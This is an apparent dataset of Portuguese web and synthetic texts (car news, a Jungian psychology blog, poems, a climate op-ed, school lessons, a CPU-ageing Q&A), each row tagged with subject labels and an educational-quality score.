+A Citroën aproveitou a etapa argentina do Mundial de Turismo (WTCC) para mostrar o modelo que dá origem à versão de competição. O C-Elysee é um sedã compacto do segmento B, que terá o Cobalt, o Grand Siena, o HB20S, o Logan e o Versa como concorrentes. Com 4,43m de comprimento e 2,65m de entre-eixos, ele será importado da Espanha com o 1.6 16V que já dá as caras por aqui no Peugeot 2o8 e no C3. E chegará ao mercado argentino em outubro como uma opção mais acessível para quem sonha com um C4 Lounge e não tem tanto dinheiro no bolso (ou espaço na garagem). O desenho não é nada de outro mundo, mas também não faz feio, alinhado com os demais produtos da marca francesa. Que pode até dizer que resolveu apostar na novidade porque um piloto argentino, José Maria ""Pechito López, é o atual bicampeão do WTCC a bordo do C-Elysee. Mas podia perfeitamente fazer o sedã aparecer também do lado de cá…",original,original,original,original,1,0.2
+"O Curso de Fundamentos de Psicossomática tem visa aproximar e discutir a psicossomática numa contemporânea, articulando com aspectos fundamentais da teoria junguiana. De modo complementar, propomos uma reflexão a partir da medica chinesa, que como medicina tradicional, nos oferece uma … Continue lendo →
+Publicado em Uncategorized | Com a tag Clinica junguiana, Fabricio Fonseca Moraes, Jung, junguiana, junguianos capixabas, medicina chinesa, Psicologia, psicologia analítica, psicossomatica, Psicossomática junguiana | Deixe um comentário
+Jung e a Medicina Chinesa(p.3): Os 5 movimentos e o Sistema de Órgãos e Vísceras
+Publicado em 1 de maio de 2022 por Fabricio Fonseca Moraes
+Nos posts anteriores fizemos um caminho para aproximar fundamentos teóricos da psicologia analítica com a medicina chinesa, especialmente associado os processos energéticos, visto que toda clínica na medicina chinesa e na psicologia analítica é baseada num diagnóstico energético. Com frequência … Continue lendo →
+Publicado em textos temáticos, Uncategorized | Com a tag Fabricio Moraes, Jung, junguianos capixabas, medicina chinesa e psicologia, práticas integrativas, psicologia analítica, psicossomática, Psicossomática junguiana | Deixe um comentário
+Perspectivas Junguianas acerca do Ego – Parte 1
+Publicado em 9 de agosto de 2020 por admin
+O ego é um conceito fundamental para a psicologia analítica pois é a partir dele que podemos compreender e delimitar a relação com os objetos tanto internos e externos, distinguindo a realidade interna e externa. Compreendendo essa importância e, para … Continue lendo →
+Publicado em Conceitos Fundamentais, Escola Inglesa | Com a tag desenvolvimento, Ego, Ego na psicologia analítica, Jung, junguianos capixabas, Michael Fordham, psicologia junguiana, teoria do ego | Deixe um comentário
+Novo Episódio no “Amplificando Jung”
+Publicado em 21 de junho de 2020 por admin
+Estamos com mais um Episódio em nosso podcast “Amplificando Jung! O tema atual é a “Psicoterapia e a analise Junguiana” onde a dra. Kelly Tristão nos apresenta suas distinções e aspectos básicos! Quer ouvir? Clique no link: Amplificando Jung
+Publicado em Uncategorized | Com a tag Amplificando Jung, Jung no Espirito Santo, junguianos capixabas, podcast, psicologia analítica, psicologia junguiana, Psicoterapia | Deixe um comentário
+Contando Histórias – Fragmentos para uma história junguiana no Espirito Santo
+Publicado em 18 de março de 2016 por admin
+Por Fabrício Moraes Os junguianos são por natureza contadores de histórias sejam por meio de mitos, contos de fadas dentre outras. As histórias nos constituem tanto coletivamente quanto individualmente. A história junguiana capixaba faz parte de minha história pessoal desde … Continue lendo →
+Publicado em história, Uncategorized | Com a tag história da psicologia analítica, junguianos capixabas | Deixe um comentário
+Pesquisar por:
+Fabrício Moraes
+Fabrício Moraes Psicólogo Clínico de Orientação Junguiana, Especialista em Teoria e Prática Junguiana, Coordenador de Grupos de Estudos, coordenador do blog ""Jung no Espirito Santo"" e Diretor do CEPAES. Atendendimentos on-line e presencial. Contato: fabriciomoraes@cepaes.com.br / 55 27 993166985
+Kelly Tristão
+Dra. Kelly Tristão Psicóloga Clínica de Orientação Junguiana, Especialista em Teoria e Prática Junguiana. Docente em Ensino Superior, idealizadora do projeto ""Feminilidade Junguiana"", coordenadora de grupos de estudo e diretora do CEPAES Realiza atendimentos psicoterapeuticos presencial e on-line e supervisão clinica. Contato: kellytristao@cepaes.com.br / 55 27 992573335",original,original,original,original,2,0.4
+"Hoje, acordei sentindo uma grande dor no peito.
+Porque está tão inquieto dentro de mim?
+Minha alma disse: -- Estou assim porque você está assim;
+Você me faz perguntas, mas não tenho as respostas e sei que isso a faz infeliz...
+Você se sente tão pequena, e isso me faz pequena também...
+Você queria ser diferente e eu fico triste por você...
+E foi aí que meu coração meio confuso me respondeu...
+Fiquei sem jeito e perguntei...
+Você sofre tanto com as pessoas, preocupa-se com elas, é atenciosa, procura ser prestativa e sempre se decepciona...
+Você ama e depois sofre e fala que a culpa é minha...
+Você espera por algo que não vem e fica triste...
+Que eles sejam tão grandes que possam envolver seu corpo em um abraço cheio de ternura e que você se sinta segura e amparada...
+Curativos que lhe façam sentir o quanto você é especial e amada, mesmo que você nunca tenha sentido esse amor, nem de seus próprios pais...
+Curativos que absorvam esse sofrimento, essa dor...
+Essa ferida que não se vê, apenas se sente...
+Que sejam fortes, e a prova d’água, para que não se estraguem com suas lágrimas!
+Que sejam macios para poder lhe fazer carinho nos dias em que você se sentir carente...
+Curativos que acima de tudo nunca a decepcionem, prometendo coisas que não cumprem...
+Dizer-lhe que tudo vai passar, e lhe proteger das decepções da sua vida,
+afinal você já sofreu tanto que não sei como ainda consigo bater forte em seu peito...
+Preciso de Curativos para um coração partido...
+Desconheço a autoria desse texto, se alguém souber, por favor me diga, para que eu dê os devidos créditos, obrigada.
+Também não conheço mas gostaria de saber, poiis é muito engenhoso, sabes quem tem penas são as galinhas e ninguem fica com ninguem por pena ou caridade, se não se gosta acaba por se ir embora, mas os curativos são sempre bem vindos, quanto mais não seja, para estancar esse sofrimento que é ter um coração apaixonado, não tem logica, nem sequer explicação, mas ás vezes doi mesmo amando muito, bjs
+Boa noite anônimo, gosto do texto, não sei quem fez, mas quem sabe aparece o dono ou quem saiba. Complicado, obrigada por vir.
+rsrsrs...agora vc complicou mais ainda. Tem razão, nós complicamos o que já é complicado. Boa noite meu querido. Bom sonhos pra ti. Beijos.
+O texto abaixo fui elaborado embaixo do chuveiro, como eu não tinha papel à prova de água e nem caneta, vou tentar passar todo ele, pode ser que escape alguma coisa, mas vale mesmo assim.
+As ruínas do Templo dos Guerreiros tem enormes cabeças de serpentes esculpidas em pedra. Esse palácio possuía mil colunas de sustentação que davam à volta em todo o prédio. Por volta do ano 1200, Chichen Itzá entrou em guerra com outras duas cidades da civilização maia-tolteca: Uxmal e Mayapan.
+Em cima da estátua, ao centro, os Maias realizavam os sacrifícios para os seus Deuses.
+Em geral, esses sacrifícios eram feitos com crianças, raras vezes com mulheres.",original,original,original,original,4,0.8
+"O mundo foi convocado a acordar de um transe, durante a Assembleia Geral da ONU. O secretário-geral da ONU, António Guterres, foi duro nas palavras e lembrou que estamos na rota de aquecimento médio de 2.7 graus Celsius até o fim do século, muito acima do limite considerado seguro (de 1.5 graus) segundo a ciência. É preciso romper a inação e dar às novas gerações motivos para acreditar que governos ainda são dignos de confiança e capacidade para resolver esse problema.
+Relatório publicado pela Convenção Quadro sobre Mudança do Clima (UNFCCC) às vésperas da Assembleia Geral traduziu em números de emissões a diferença significativa entre necessidade e ambição para a descarbonização: chegaremos em 2030 com apenas 12% de redução das emissões globais em relação a 2010, sendo que a recomendação do Painel Intergovernamental de Mudança do Clima (IPCC) é de um corte de 45%.
+O Brasil é um dos países que está nos holofotes de Guterres e também da comunidade internacional, por sua contribuição significativa a esse problema. Nesse sentido, são três as grandes cobranças em relação ao nosso país: credibilidade, ambição e visão. Mas tais questões não permearam a participação do presidente brasileiro na Assembléia Geral deste ano.
+Sobre credibilidade, Jair Bolsonaro anunciou que o Brasil se comprometeria com a neutralidade de emissões até 2050. A fala original foi na cúpula convocada pelo presidente americano Joe Biden, em abril último. Hoje, Bolsonaro repetiu essa promessa em seu discurso.
+O gesto, no entanto, nunca ganhou forma: nossa chancelaria não submeteu esse número à ONU como compromisso firme dentro do prazo de inscrição das novas contribuições nacionalmente determinadas (NDCs) em julho deste ano. O Brasil também não desenvolveu, de abril para cá, uma estratégia de longo prazo, como fizeram outras 28 nações, inclusive México e Colômbia na nossa região. Na verdade, não houve tampouco a incorporação de tal diretriz em decretos, portarias ou outras normas domésticas. Portanto, o que Jair Bolsonaro disse ao mundo em abril e hoje não passam, até agora, de palavras ao vento. Palavras que ocupam espaço e animam interlocutores internacionais, enquanto faltam ações e resultados concretos para guiar os seus próximos 15 meses de gestão.
+Quanto à ambição, até agora o Brasil é um dos poucos países que não melhorou sua meta de redução de emissões para 2030. No relatório da ONU já citado, entramos com a NDC atualizada em dezembro de 2020, proposição cuja qualidade foi questionada em diversas avaliações técnicas, nacionais e internacionais.
+Estudos do WWF Internacional, do Climate Action Tracker e do World Resources Institute apontaram que a atualização feita pelo governo Bolsonaro se tratou de um retrocesso em relação à meta de 2016. Isso porque o Brasil poderá aumentar suas emissões nesta década e, com isso, deixar de atender ao princípio da progressividade dos compromissos, exigido pelo Acordo de Paris. Esse ponto virou objeto de ação judicial doméstica e ainda poderá ser questionado por pares dentro da Convenção do Clima. Uma vulnerabilidade desnecessária: bastaria que o governo recuperasse o número anterior absoluto de emissões do ano 2005 e estaria livre desse problema. Não o fez e não pretende fazê-lo, como explico a seguir.
+Por fim, Bolsonaro irá lançar um plano de implementação da NDC e essa será a sua grande “entrega” à COP-26, a ser realizada em novembro, em Glasgow. O perigo é prático e real: implementar tal meta significa permissão para manter a taxa de desmatamento até 2030, ou seja, 10 mil km² anuais em média, segundo cálculo do Seeg.
+Levar essa referência para o campo dos investimentos e dos negócios pode ser desastroso. A redução da taxa de desmatamento medida pelo Instituto Nacional de Pesquisas Espaciais (Inpe) é hoje um dos principais indicadores de credibilidade do Brasil no mundo. De Cingapura à Nova Iorque, os investidores estão acompanhando nosso desempenho e calibrando suas decisões.
+Seguir a NDC de Bolsonaro à risca signific...",original,original,original,original,4,0.8
+"Banco de Atividades: Apostila sobre frações 2
+Da escrita mista para a de frações e vice-versa Vamos pensar na seguinte pergunta: Qual é a fração que corresponde a três inteiros e dois quintos ?
+Para responder, vamos recorrer a desenhos: Acontece que cada uma das barras que representam o inteiro pode ser subdividida em 5 partes: Agora vamos pensar no problema contrário: Qual é a escrita mista correspondente a Para achar a resposta, vamos desenhar o inteiro (dividido em 4 partes) tantas vezes quantas forem necessárias para perfazer 13 quartos: A mesma parte com escritas diferentes Fazendo desenhos para representar frações, percebemos que podemos indicar uma mesma parte da unidade de maneiras diferentes. Vejamos alguns exemplos: EXEMPLO 1 : Começamos com um retângulo dividido em 3 partes e sombreamos 1 dessas partes: Em seguida duplicamos o número de partes em que a unidade foi dividida e duplicamos também o número de partes sombreadas. O que fizemos foi multiplicar por 2 o numerador e o denominador da fração 1/3:
+Observando a figura, vemos que essas duas frações representam a mesma parte da unidade. EXEMPLO 2 : Neste exemplo, triplicamos o número de partes em que o retângulo foi dividido e triplicamos o número de partes sombreadas. Observando as figuras, vemos que dois quintos e seis quinze avos representam a mesma parte da unidade. EXEMPLO 3 : Dividimos um círculo em 2 partes iguais e sombreamos 1 parte. Temos a metade do círculo: Agora, dividimos o mesmo círculo em 8 partes iguais e sombreamos 4 partes: Multiplicamos o numerador e o denominador por 4: e continuamos a ter a mesma parte do círculo. Os exemplos que acabamos de apresentar mostram que, multiplicando o numerador e o denominador de uma fração por um mesmo número (qualquer que seja esse número), não alteramos a parte da unidade que estamos considerando. Equivalentes ou iguais? Frações como: são chamadas de frações equivalentes. ""Equi"" indica igualdade. ""Valente"" significa ""que tem valor"". Entretanto, em alguns livros, após a afirmação de que, por exemplo, dois terços e quatro sextos
+são equivalentes, encontra-se a representação de igualdade: Esta situação pode provocar controvérsia: será que um terço é o m esmo que dois sextos?
+Afinal um terço é um pedaço só e dois sextos são dois.
+E quanto a nós professores? Devemos dizer ""frações equivalentes"" e escrever que são ""iguais""? Em nossa opinião, podemos dizer e escrever ""igual"", pois as duas frações representam partes do mesmo tamanho. Enviar por e-mailBlogThis!Compartilhar no TwitterCompartilhar no FacebookCompartilhar com o Pinterest
+Vanessa27 de agosto de 2010 16:17Parabéns pelo seu blog...as atividades são ótimass...ResponderExcluirAdicionar comentárioCarregar mais...",original,original,original,original,4,0.8
+"Olá, pessoal! Já pararam para pensar como a nossa família e a comunidade onde vivemos moldam quem somos? A História não é só sobre reis e rainhas, mas também sobre as pessoas comuns, como nós, e como elas se organizam em grupos. Hoje, vamos explorar como as famílias e comunidades mudaram ao longo do tempo e como essas mudanças influenciam nossas vidas. 
+
+Antigamente, em muitas sociedades, as famílias eram muito maiores do que as que vemos hoje. Era comum que avós, tios, primos e outros parentes morassem juntos ou muito perto uns dos outros. A comunidade também era fundamental. As pessoas dependiam umas das outras para plantar, colher, construir casas e até mesmo para se protegerem. Imagine como seria a sua vida se você precisasse da ajuda de todos os seus vizinhos para construir a sua casa! 
+
+Com o passar dos séculos, as coisas foram mudando. As cidades cresceram, as pessoas começaram a trabalhar em fábricas e escritórios, e as famílias se tornaram menores e mais independentes. A tecnologia também teve um papel importante nessa transformação. Hoje, podemos nos comunicar com pessoas do outro lado do mundo em segundos e comprar comida no supermercado sem precisar plantar nada. 
+
+Mas será que essas mudanças significam que a família e a comunidade perderam a importância? De jeito nenhum! Mesmo com todas as facilidades da vida moderna, precisamos do apoio e do carinho das pessoas que amamos. A família continua sendo o nosso porto seguro, o lugar onde aprendemos os valores que nos guiam na vida. E a comunidade, seja ela o nosso bairro, a nossa escola ou o nosso grupo de amigos, nos ajuda a construir um mundo melhor para todos. 
+
+Que tal conversarmos sobre isso? Como é a sua família? Quem são as pessoas mais importantes na sua comunidade? Quais são os costumes e tradições que vocês compartilham? As respostas para essas perguntas podem nos ajudar a entender melhor o nosso passado e a construir um futuro mais justo e solidário. Lembrem-se: a História está em todo lugar, inclusive nas nossas próprias vidas!",História,Família e comunidade,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por introduzir o tema de forma envolvente, utilizando linguagem acessível e exemplos do cotidiano. Aborda a evolução das famílias e comunidades ao longo do tempo, incentivando a reflexão e a discussão sobre a importância desses grupos na formação individual e social. O texto é claro, coerente e estimula o pensamento crítico dos alunos, sendo altamente relevante para o ensino fundamental.",5,1.0
+"Olá, pequenos exploradores! Já pararam para pensar como o Brasil é grande e cheio de lugares diferentes? Nosso país é como um baú de tesouros, cada cantinho com uma paisagem especial para descobrirmos. Vamos embarcar nessa aventura geográfica e conhecer um pouco mais sobre as paisagens brasileiras?
+
+Imagine que você está viajando de carro com sua família. Olhe pela janela! O que você vê? Talvez muitas árvores verdinhas formando uma floresta, ou um campo aberto com vacas e cavalos pastando. Ou quem sabe, prédios altos e muitas casas juntinhas em uma cidade grande. Tudo isso são paisagens! As paisagens são tudo aquilo que podemos ver e sentir em um lugar. Elas podem ser naturais, como as florestas, rios e montanhas, ou construídas pelas pessoas, como as cidades, plantações e estradas.
+
+No Brasil, temos uma variedade incrível de paisagens. Na Amazônia, encontramos a maior floresta tropical do mundo, com rios enormes e uma vegetação exuberante. No Nordeste, as praias são lindas, com areia branquinha e água quentinha, além de cidades históricas com construções antigas. No Sul, faz muito frio no inverno e podemos ver campos com araucárias, árvores típicas da região. E no Centro-Oeste, o Cerrado nos presenteia com uma vegetação única, com árvores baixas e retorcidas.
+
+As paisagens também mudam com o tempo. Uma floresta pode ser desmatada para dar lugar a uma plantação, ou uma cidade pode crescer e ocupar áreas que antes eram campos abertos. Essas mudanças acontecem por causa das atividades humanas, como a agricultura, a construção de estradas e cidades, e a exploração de recursos naturais.
+
+É importante cuidarmos das nossas paisagens, pois elas são importantes para a nossa vida e para a vida de outros seres vivos. Precisamos proteger as florestas, os rios e os mares, e usar os recursos naturais de forma consciente, para que as futuras gerações também possam desfrutar da beleza e da riqueza do nosso país.
+
+E você, qual a paisagem do Brasil que mais te encanta? Já visitou algum lugar especial? Que tal desenhar a sua paisagem favorita e compartilhar com seus amigos e familiares? Explorar as paisagens do Brasil é uma aventura incrível e nos ajuda a entender melhor o mundo em que vivemos!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, especialmente para os anos iniciais do ensino fundamental. Introduz o conceito de paisagem de forma acessível e envolvente, utilizando exemplos do cotidiano e da diversidade brasileira. Incentiva a reflexão sobre a importância da preservação ambiental e a conexão com o mundo ao redor. A linguagem é clara, o conteúdo é relevante e a proposta de atividade final é adequada à faixa etária, tornando-o um excelente recurso para o ensino.",5,1.0
+"Apesar de indispensáveis para o marketing, seja corporativo ou pessoal, as redes sociais podem limitar o rendimento no trabalho. Sem uma política clara de uso das redes, a produtividade das empresas brasileiras tende a cair com a expansão das redes entre todas as idades e classes sociais no Brasil através de dispositivos móveis.
+Apesar de existir pessoas que conseguem conciliar trabalho e redes sociais sem nenhum problema de produtividade, há os que passam o dia todo nas redes e não conseguem produzir e, entre esses dois grupos, aqueles que poderiam produzir mais, não fossem as intervenções instantâneas de mensagens, “curtidas” e “compartilhamentos”.
+As grandes corporações já estão atentas a isso. Se comunicar com os amigos por meio de redes sociais é uma prática que pode provocar demissão por justa causa e a perda dos direitos trabalhistas, como o seguro desemprego, aviso prévio e o saque do Fundo de Garantia do Tempo de Serviço (FGTS).
+Na Justiça do Trabalho, o número de demissões por justa causa devido ao uso inadequado das ferramentas digitais no ambiente corporativo vem aumentando significativamente.
+Embora as normas sobre a conduta dos trabalhadores presentes na Consolidação das Leis do Trabalho (CLT) não regulamentem de forma específica o uso de Facebook e outras redes durante o serviço, as utilização inapropriada pode ser adaptada para a legislação, culminando com demissão por justa causa. A justa causa, neste caso, teria origem na transgressão às regras estabelecidas pelo empregador.
+O empregador deve esclarecer formalmente, por escrito preferencialmente, a proibição do uso das redes sociais, mesmo que por dispositivos móveis pessoais.
+E as preocupações dos empregadores não param por aqui. As empresas geralmente respondem de forma objetiva pelos atos praticados por seus funcionários durante o expediente ou utilizando-se de meios por ela fornecidos, ou seja, independentemente de culpa.
+Também, é necessário que seja levado em consideração os riscos de crimes virtuais. Se um funcionário utilizar-se do computador da empresa para praticar atos ilegais nas redes sociais, causando prejuízos a terceiros, a empresa poderá ser responsabilizada, caso não consiga individualizar o agente criminoso. Isso se deve ao fato de que normalmente as empresas se utilizam de uma única conexão compartilhada por todos os usuários internos. Assim, os acessos, e interações com o mundo externo estão relacionados com o IP público da empresa, sendo por vezes, impossível identificar quem de dentro da organização é o autor de determinado acesso.
+A solução é estabelecer regras, deixar claro na relação de trabalho que o objetivo é manter a produtividade, evitar prejuízos e, consequentemente, a saúde do negócio que mantém o salário do empregado.",original,original,original,original,3,0.6
+"Vestibular » 2010 » maio
+Aulão de revisão!
+0	O Pré-Vestibular da UFSC vai oferecer um aulão de revisão pros vestibulares de inverno no próximo sábado, dia 29. Para participar, é preciso se inscriver no site do cursinho até sexta-feira, 28. São 1.350 vagas.
+O aulão vai ser no Centro de Eventos da UFSC, das 9h às 12h e das 13h às 18h30min. No dia do evento, o aluno deverá apresentar o comprovante de inscrição, além de R$ 3 ou um quilo de alimento não-perecível. As doações serão revertidas para instituições beneficentes de Santa Catarina.
+0	A nossa vesitbulanda DC, Thayse Coan, lembra que hoje é dia do Vestibulando! Parabéns a todos vocês que estão encarando esse ano tão atípico.
+Ela ainda lembra que falta uma semana para a prova da Udesc! Boa sorte a todos.
+Vice-presidente da OAB-SC falou, em chat, sobre os desafios da profissão de Direito
+0	Você sonha em estudar ou já cursa Direito? Então, confira o chat realizado pelo DC Online com Márcio Vicari, vice-presidente da Ordem dos Advogados do Brasil de Santa Catarina (OAB-SC). O bate-papo aconteceu nesta sexta-feira, às 11h. Por 40 minutos, Vicari, que é professor universitário e já atuou como juiz do Tribunal Regional Eleitor, falou sobre os desafios da profissão. Entre os tópicos abordados, está o Exame da Ordem e o Projeto Jovem Advogado, um programa especial que facilita o início de carreira. Acompanhe o que Márcio Vicari disse no quadro abaixo:
+Chat sobre a profissão de Direito
+Vice-presidente da OAB-SC conversa com internautas sobre a profissão de Direito
+0	Márcio Vicari, vice-presidente da Ordem dos Advogados do Brasil de Santa Catarina (OAB-SC), participa de chat às 11h desta sexta-feira no diario.com.br. Ele conversará sobre a carreira na advocacia. Professor universitário no mercado há 16 anos, Vicari foi juiz do Tribunal Regional Eleitor durante quatro anos. Na conversa com os internautas, o vice-presidente da OAB esclarece as dúvidas de quem pretende fazer o curso de Direito e conta quais os desafios da profissão. Chat sobre a profissão de Direito
+Retorno e transferência na UFSC
+0	A UFSC divulgou o edital de transferências e retornos para o segundo semestre de 2010. São 757 vagas em 40 cursos. Interessados devem fazer o requerimento até o dia 28 de maio.
+O estudante pode pedir transferência interna, externa e retorno. O edital pode ser lido aqui.
+Mais informações com o DAE: (48) 3721-9707.
+Amanhã, no DC
+0	Galera, se liga no Diário Catarinense de amanhã.
+Tem caderno de Vestibular com dicas para superar os principais medos de quem vai fazer a prova.
+Outra dica é a coluna Profissão, que traz uma entrevista com o vice-presidente da OAB-SC e mostra como anda o mercado de trabalho para quem quer fazer Direito.
+Confere lá e depois passa aqui pra dizer qual o teu bicho-papão quando o assunto é vestibular.
+Simulado Kzuka abre inscrições para vestibulandos
+0	Inscrições para as provas online poderão ser feitas no site www.simuladokzuka.com.br até 13 de junho
+Vestibulandos que desejam testar seus conhecimentos antes do vestibular de inverno podem contar com o Simulado Online Kzuka. As inscrições gratuitas devem ser feitas pelo site www.simuladokzuka.com.br até 13 de junho. As provas serão realizadas de 14 a 17 de junho, com tempo e dias determinados.
+As questões serão formuladas pelos professores do cursinho pré-vestibular Universitário e seguem o modelo do concurso da Universidade Federal do Rio Grande do Sul (UFRGS). Em 2009, a segunda edição do Simulado Online Kzuka contou 30 mil inscritos.
+A correção, os gabaritos e a classificação dos alunos estarão disponíveis no site após o simulado. A página também conta com um blog com dicas dos professores do Universitário e oferece uma calculadora especial que, a partir de informações sobre o número de acertos em cada prova, simula a possibilidade de o candidato ser aprovado no curso que deseja, de acordo com as médias dos últimos classificados no vestibular 2010 da UFRGS.
+14/06 – Física, Literatura e Língua Estrangeira
+15/06 – Língua ...",original,original,original,original,2,0.4
+"Por isto precisamos orar e vigiar.
+Para construir uma história leva-se uma
+Para destruí-la basta uma atitude errada!
+""Tem muitas pessoas que criticam as igrejas que prometem cura aos enfermos,mas o próprio Senhor Jesus operava a cura através da fé.""
+Quem crê será curado,quem não crê vai seguir uma vida de dor e lamentação batendo de porta em porta de hospitais,curandeiros...
+De acordo com os evangelhos, um centurião romano pediu ajuda a Jesus por que um dos seus servos mais jovens estava doente. Jesus se ofereceu para ir à casa do centurião para realizar a cura, mas ele sugeriu que Jesus o fizesse à distância, pois ele não se considerava digno de tê-lo em sua casa. Ao ouvir isso, Jesus disse:
+Em verdade vos afirmo que nem mesmo em Israel achei tamanha fé. Digo-vos que muitos virão do oriente e do ocidente, e hão de sentar-se com Abraão, Isaque e Jacó no reino dos céus; mas os filhos do reino serão lançados nas trevas exteriores; ali haverá o choro e o ranger de dentes....Vai-te e como creste, assim te seja feito. (Mateus 8:10-13)
+E o garoto ficou curado na mesma hora.
+Este episódio é um exemplo de como Jesus enfatizava o valor da fé, um tema que já aparecera quando Jesus curou o servo do centurião.
+Então respondeu Jesus, e disse-lhe: O mulher, grande é a tua fé! Seja isso feito para contigo como tu desejas. E desde aquela hora a sua fi…
+Somos a engrenagem de uma máquina possante que se chama Universo!
+Vivemos em um mundo onde a sabedoria muitas vezes parece se esconder atrás dos olhos do Universo. Somos submetidos a situações que mais nos parecem testes de resistência, tamanha é a grandeza dos acontecimentos. Quem somos? Onde podemos chegar? Quem são nossos amigos? Em quem confiar? Onde estão nossas chances? Onde pegar forças para que tudo isso mude em prol de uma satisfação? Essas e muitas outras dúvidas cercam nossas vidas!
+O que pode parecer grandioso, muitas vezes nos espanta com a inferioridade dos resultados. Crenças, certezas, superioridade, e muitas outras razões benéficas se apagam diante das transformações submetidas em nosso dia a dia.
+Para tantas razões transformadas, o que muitas vezes nos resta é esperar o tempo passar na esperança de que o Universo se encarregue de tratar da mudança. Será que é assim que devemos agir?
+somos a engrenagem de uma máquina possante que se chama Universo! Jamais essa engrenagem que somos se manterá lubrificada para a b…
+O Evangelho de Marcos relata um episódio similar, no qual Jesus explica como um homem se contamina com o mal que sai dele:
+Seus discípulos teriam quebrado a tradição dos anciãos...
+No Evangelho de Mateus, os fariseus reclamam a Jesus que seus discípulos teriam quebrado a tradição dos anciãos, pois eles não lavaram suas mãos antes de comer. E a esta provocação, Jesus respondeu:
+E, tendo passado para o outro lado, chegaram à terra de Genesaré.
+E, quando os homens daquele lugar o conheceram, mandaram por todas aquelas terras em redor e trouxeram-lhe todos os que estavam enfermos.
+E rogavam-lhe que ao menos eles pudessem tocar a orla da sua roupa; e todos os que a tocavam ficavam sãos.
+E logo ordenou Jesus que os seus discípulos entrassem no barco, e fossem adiante para o outro lado, enquanto despedia a multidão.
+E, despedida a multidão, subiu ao monte para orar, à parte. E, chegada já a tarde, estava ali só.
+E o barco estava já no meio do mar, açoitado pelas ondas; porque o vento era contrário;
+Este milagre também é conhecido como ""milagre dos cinco pães e dois peixes"", dado que João reporta que cinco pequenos pães de cevada e dois peixinhos, fornecidos por um garoto, foram utilizados por Jesus para alimentar a multidão.
+E disse-lhes Jesus: Entendestes todas estas coisas? Disseram-lhe eles: Sim, Senhor.
+E ele disse-lhes: Por isso, todo o escriba instruído acerca do reino dos céus é semelhante a um pai de família, que tira do seu tesouro coisas novas e velhas.
+Depois de conhecermos as parábolas que foram instruídas pelo Senhor,cabe a nós moldarmos nosso caráter e seguirmos...",original,original,original,original,2,0.4
+"Orgulhosos por trabalhar com dezenas de empresas nacionais
+Conheça alguns casos de estudo do nosso trabalho.",original,original,original,original,1,0.2
+"Olá, exploradores da matemática! Já pararam para pensar como os números estão presentes em tudo ao nosso redor? Desde o preço daquele lanche delicioso na cantina até a contagem dos minutos para o tão esperado recreio, a matemática, especialmente os números e as operações básicas, é a ferramenta secreta que organiza o mundo. 
+
+Vamos começar com os amigos que já conhecemos: adição, subtração, multiplicação e divisão. Imagine que você e seus amigos decidiram juntar suas economias para comprar um presente surpresa para o professor. Se cada um contribui com R$5,00 e são 6 amigos, qual o valor total arrecadado? Aqui entra a multiplicação! 6 amigos vezes R$5,00 cada, totalizando R$30,00. Viu só? Matemática na prática!
+
+E quando precisamos dividir uma pizza igualmente entre a galera? Se a pizza tem 8 pedaços e somos 4 pessoas, quantos pedaços cada um poderá comer? A divisão nos ajuda a resolver esse problema: 8 pedaços divididos por 4 pessoas, resultando em 2 pedaços por pessoa. Ninguém fica com fome! 
+
+Mas a aventura não para por aí. Números negativos, frações e decimais também fazem parte desse universo fascinante. Pense na temperatura: em algumas cidades, especialmente no inverno, os termômetros marcam temperaturas abaixo de zero, os famosos números negativos. Eles nos ajudam a entender o frio! E as frações? Quando comemos metade de um bolo, estamos usando frações! ½ é uma forma de representar essa parte do todo. 
+
+Agora, que tal um desafio? Imagine que você precisa comprar materiais escolares. A mochila custa R$85,00, o estojo R$25,00 e cada caneta R$2,50. Se você comprar 5 canetas, quanto gastará no total? Tente resolver essa questão utilizando as operações que aprendemos. 
+
+A matemática não é apenas um conjunto de regras e fórmulas; é uma forma de pensar, de resolver problemas e de entender o mundo. Ao dominarmos os números e as operações básicas, abrimos portas para um universo de possibilidades e nos tornamos mais preparados para enfrentar os desafios do dia a dia. Então, continue explorando, perguntando e se divertindo com a matemática. O mundo está cheio de números esperando para serem descobertos!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir conceitos matemáticos básicos de forma lúdica e contextualizada, utilizando exemplos práticos e relevantes para o cotidiano dos alunos. A linguagem é acessível e o conteúdo é adequado para o ensino fundamental, incentivando a exploração e o aprendizado da matemática de forma divertida e interessante. Ele aborda conceitos importantes do currículo, apresenta um desafio prático e estimula o raciocínio.",5,1.0
+"O desempenho de uma CPU é afetado à medida que ela envelhece? [fechadas] | shelleyness.com
+Questão O desempenho de uma CPU é afetado à medida que ela envelhece? [fechadas]
+Esta é uma questão hipotética sobre como uma CPU opera. Se eu comprar dois processadores idênticos e usar um longo prazo (digamos, um ano), ele será idêntico em velocidade à CPU não usada? O número de ciclos de clock, latência de solicitações, etc. na CPU usada será menor que o da CPU não usada?
+Um argumento de apoio pode ser que os dispositivos mecânicos se degradam com o tempo. Enquanto uma CPU não tem partes móveis (exceto a ventoinha externa), ela possui circuitos que podem ser danificados pelo calor e picos de tensão. Vamos dizer que depois de um ano de uso intensivo, os circuitos se degradam e menos elétrons podem passar, já que o caminho é mais estreito, etc.
+Essa é a natureza de como uma CPU opera ou está simplesmente funcionando ou quebrada, sem nenhuma degradação de velocidade?
+Eu suponho que, em teoria, uma CPU poderia rodar mais lentamente à medida que o mecanismo de resfriamento não esfria de forma tão eficiente quanto costumava (talvez o ventilador quebre um pouco e não consiga atingir a velocidade máxima), acho que algumas CPUs podem automaticamente reduza a velocidade do clock se eles detectarem que estão muito quentes. Observe que isso não significa que a própria CPU esteja envelhecendo para um desempenho ruim; Nesse cenário, substituir um ventilador ruim provavelmente permitiria que a CPU fosse executada tão rapidamente quanto quando era nova. Eu não tenho nenhuma referência para isso, mas parece plausível para mim ... - FrustratedWithFormsDesigner
+@FrustratedWithFormsDesigner, eu vi um notebook da Dell acelerar seu processador severamente porque ele achava que estava ficando muito quente (principalmente através do design ruim, eu acredito). É totalmente viável que a acumulação de poeira ao longo do tempo também pode causar isso, mas você está certo de que não é estritamente a idade que causa isso. - Highly Irregular
+O que fica mais lento é o software. - Daniel R Hicks
+Aqui está um ótimo artigo do IEEE escrito especificamente no que diz respeito ao envelhecimento de transistores eu recomendo que qualquer pessoa interessada neste tópico leia. - Breakthrough
